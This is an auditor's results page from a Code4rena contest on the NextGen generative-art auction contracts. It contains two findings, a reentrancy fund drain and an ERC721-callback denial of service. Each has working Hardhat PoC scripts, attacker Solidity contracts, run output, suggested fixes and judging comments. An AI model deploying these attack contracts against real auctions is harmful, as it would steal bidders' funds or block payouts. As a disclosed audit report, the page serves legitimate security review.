NextGen - xeros's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 160/243

Findings: 2

Award: $0.94

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Description

When the auction has ended, the winner or admin can call claimAuction to send the token and the collected bids to all the users accordingly.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

However as there are no reentrancy guard, we can think of following scenario which will lead to fund drain.

  1. Victim participates auction by calling participateToAuction with bid amount of 5 ether
  2. Attacker front-runs this transaction and places multiple bids with different accounts(something like 1, 1.5, 2, 2.5, 4, 4.5)
  3. After the attacker transaction, other victims place their bids
  4. Before auction ends, attacker participates auction with large enough amount so that he can claim the auction
  5. Attacker calls claimAuction at block.timestamp exactly same as auction end time
  6. With the low-level-call, attacker performs reentrancy attack by calling cancelAllBids. As require statement checks block.timestamp is less than or equal to auction end time, check is passed. By calling cancelAllBids attacker can receive double the amount of bid they participated.
  7. In result, attacker can drain funds up to the amount of bid they placed(In this case 1 + 1.5 + 2 + 2.5 + 4 + 4.5 = 15.5) and also get a free NFT token

Even if the attacker fails to call claimAuction at the exact timestamp as the auction end time, they can still retrieve most of their fund back by calling claimAuction by themself.

PoC

// PoC.js

const { loadFixture } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const helpers = require("@nomicfoundation/hardhat-network-helpers");
const { ethers } = require("hardhat")
const fixturesDeployment = require("./fixturesDeployment.js")

async function main() {
    const { signers, contracts } = await loadFixture(fixturesDeployment)
    let moreSigners = await ethers.getSigners()
    let addr4 = moreSigners[5]
    let attacker = moreSigners[6]
    const auctionDemo = await ethers.getContractFactory("auctionDemo");
    const hhAuction = await auctionDemo.deploy(contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress())
    
    await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
    )

    await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true,
    )

    await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
    )

    await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
    )

    await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
    )

    await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        200, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
    )

    await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
    )

    const auctionEnd = (await ethers.provider.getBlock("latest")).timestamp + 10000
    await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        '{"tdh": "100"}',
        1,
        1,
        auctionEnd
    )

    const tokenIdx = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1) - BigInt(1)
    
    await contracts.hhCore.connect(signers.addr1).approve(hhAuction.getAddress(), tokenIdx)

    // Setup attacker contract to front-run the addr2's participateToAuction
    console.log("Attacker balance before : %s", await ethers.provider.getBalance(attacker.getAddress()))
    const attack = await ethers.getContractFactory("AttackReentrancy")
    let hhAttack = []
    let amount = 0
    for (i=0; i<5; i++) {
        hhAttack.push(await attack.connect(attacker).deploy(hhAuction.getAddress(), tokenIdx))
        amount = 3.99 + 0.001*i
        await hhAttack[i].connect(attacker).participateToAuction({value: ethers.parseEther(amount.toString())})
    }
		// addr2 participates in auction
    await hhAuction.connect(signers.addr2).participateToAuction(tokenIdx, {value: ethers.parseEther("4")})

    // addr3 also participates in auction
    await hhAuction.connect(signers.addr3).participateToAuction(tokenIdx, {value: ethers.parseEther("6")})

    // attacker participates in auction with large enough bid amount to win
    await hhAuction.connect(attacker).participateToAuction(tokenIdx, {value: ethers.parseEther("8")})

    // Increase to auction end time
    await ethers.provider.send('evm_setNextBlockTimestamp', [auctionEnd]); 

    // attacker claims the auction
    await hhAuction.connect(attacker).claimAuction(tokenIdx)
    await ethers.provider.send('evm_mine');

    for (i=0; i<5; i++) {
        await hhAttack[i].connect(attacker).getBalance()
    }

    console.log("Attacker address : %s", attacker.getAddress())
    console.log("Attacker balance after : %s", await ethers.provider.getBalance(attacker.getAddress()))
    console.log("Owner of NFT token : %s", await contracts.hhCore.ownerOf(tokenIdx))
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
})
// AttackReentrancy.sol

pragma solidity ^0.8.19;

import "hardhat/console.sol";

interface IauctionDemo {
    function participateToAuction(uint256) external payable;
    function cancelAllBids(uint256) external;
}

contract AttackReentrancy {
    address owner;
    IauctionDemo auct;
    uint256 tokenId;
    bool flag;

    constructor(address auction, uint256 tokenId_) {
        owner = msg.sender;
        auct = IauctionDemo(auction);
        tokenId = tokenId_;
    }

    function participateToAuction() public payable {
        auct.participateToAuction{value: msg.value}(tokenId);
    }

    function getBalance() external {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable{
        if (flag) {
            return;
        }
        flag = true;
        auct.cancelAllBids(tokenId);
    }
}

As a result you can see output like following

xeros@xerosui-MacBook-Pro hardhat % npx hardhat run scripts/testAuctionDrain.js
Attacker balance before : 10000000000000000000000n
Attacker address : Promise { '0x976EA74026E726554dB657fA54763abd0C3a0aa9' }
Attacker balance after : 10007963282785865922681n
Owner of NFT token : 0x976EA74026E726554dB657fA54763abd0C3a0aa9

Change the inequality sign in either one of claimAuction or cancelBid/cancelAllBids. Also add reentrancy guard to mitigate possible reentrancy attacks.

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-16T01:14:08Z

141345 marked the issue as duplicate of #962

#1 - alex-ppg

2023-12-02T15:38:00Z

Temporary primary to aid in finding sorting as #962 belongs to a different group.

#2 - c4-judge

2023-12-02T15:38:28Z

alex-ppg marked the issue as satisfactory

#3 - c4-judge

2023-12-04T21:33:12Z

alex-ppg marked the issue as primary issue

#4 - c4-judge

2023-12-04T21:43:05Z

alex-ppg marked the issue as duplicate of #1323

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Description

When the auction has ended and winner wants to claim their token, claimAuction is called to transfer the token by calling safeTransferFrom.

IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);

However ERC721 token has callback which can be called from receiver and this can be used maliciously to DoS the claim process. As result owner won’t be able to receive their highestBid amount.

for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
    if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
        IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
        (bool success, ) = payable(owner()).call{value: highestBid}(""); // safeTransferFrom reverts so owner won't be able to receive their ether
        emit ClaimAuction(owner(), _tokenid, success, highestBid);
    } else if (auctionInfoData[_tokenid][i].status == true) {
        (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
        emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
    } else {}
}

PoC

// PoC.js

const { loadFixture } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const helpers = require("@nomicfoundation/hardhat-network-helpers");
const { ethers } = require("hardhat")
const fixturesDeployment = require("./fixturesDeployment.js")

async function main() {
    const { signers, contracts } = await loadFixture(fixturesDeployment)
    const auctionDemo = await ethers.getContractFactory("auctionDemo");
    const hhAuction = await auctionDemo.deploy(contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress())
    
    await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
    )

    await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true,
    )

    await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
    )

    await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
    )

    await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
    )

    await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        200, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
    )

    await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
    )

    const auctionEnd = (await ethers.provider.getBlock("latest")).timestamp + 10000
    await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        '{"tdh": "100"}',
        1,
        1,
        auctionEnd
    )

    const tokenIdx = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1) - BigInt(1)
    await contracts.hhCore.connect(signers.addr1).approve(hhAuction.getAddress(), tokenIdx)

    const attack = await ethers.getContractFactory("AttackCallback")
    const hhAttack = await attack.connect(signers.addr2).deploy(signers.addr2.getAddress(), hhAuction.getAddress(), tokenIdx)

    await hhAttack.connect(signers.addr2).participateToAuction({value: ethers.parseEther("1")})

    // Increase to auction end time
    await helpers.time.increaseTo(auctionEnd)

    await hhAttack.connect(signers.addr2).claimAuction()
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
// AttackCallback.sol

pragma solidity ^0.8.19;

interface IauctionDemo {
    function participateToAuction(uint256) external payable;
    function claimAuction(uint256) external;
}

contract AttackCallback {
    address owner;
    IauctionDemo auct;
    uint256 tokenId;

    constructor(address owner_, address auction, uint256 tokenId_) {
        owner = owner_;
        auct = IauctionDemo(auction);
        tokenId = tokenId_;
    }

    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) pure external {
        revert("onERC721Received");
    }

    function participateToAuction() payable external {
        auct.participateToAuction{value: msg.value}(tokenId);
    }

    function claimAuction() external {
        auct.claimAuction(tokenId);
    }

    receive() payable external {}
}

Here signers.addr2 deploys contract that reverts when onERC721Received is called. By running the PoC code, you can see the revert log as follows.

Error: VM Exception while processing transaction: reverted with reason string 'onERC721Received'
    at NextGenCore._checkOnERC721Received (smart-contracts/ERC721.sol:415)
    at NextGenCore._safeTransfer (smart-contracts/ERC721.sol:193)
    at NextGenCore.safeTransferFrom (smart-contracts/ERC721.sol:170)
		// omitted

Use try-catch statement to handle revert from the callback.

Assessed type

DoS

#0 - c4-pre-sort

2023-11-16T01:14:27Z

141345 marked the issue as duplicate of #843

#1 - c4-pre-sort

2023-11-16T13:38:04Z

141345 marked the issue as duplicate of #486

#2 - c4-judge

2023-12-01T22:15:25Z

alex-ppg marked the issue as not a duplicate

#3 - c4-judge

2023-12-01T22:15:39Z

alex-ppg marked the issue as duplicate of #1759

#4 - c4-judge

2023-12-08T22:08:36Z

alex-ppg marked the issue as satisfactory

#5 - c4-judge

2023-12-09T00:23:13Z

alex-ppg changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter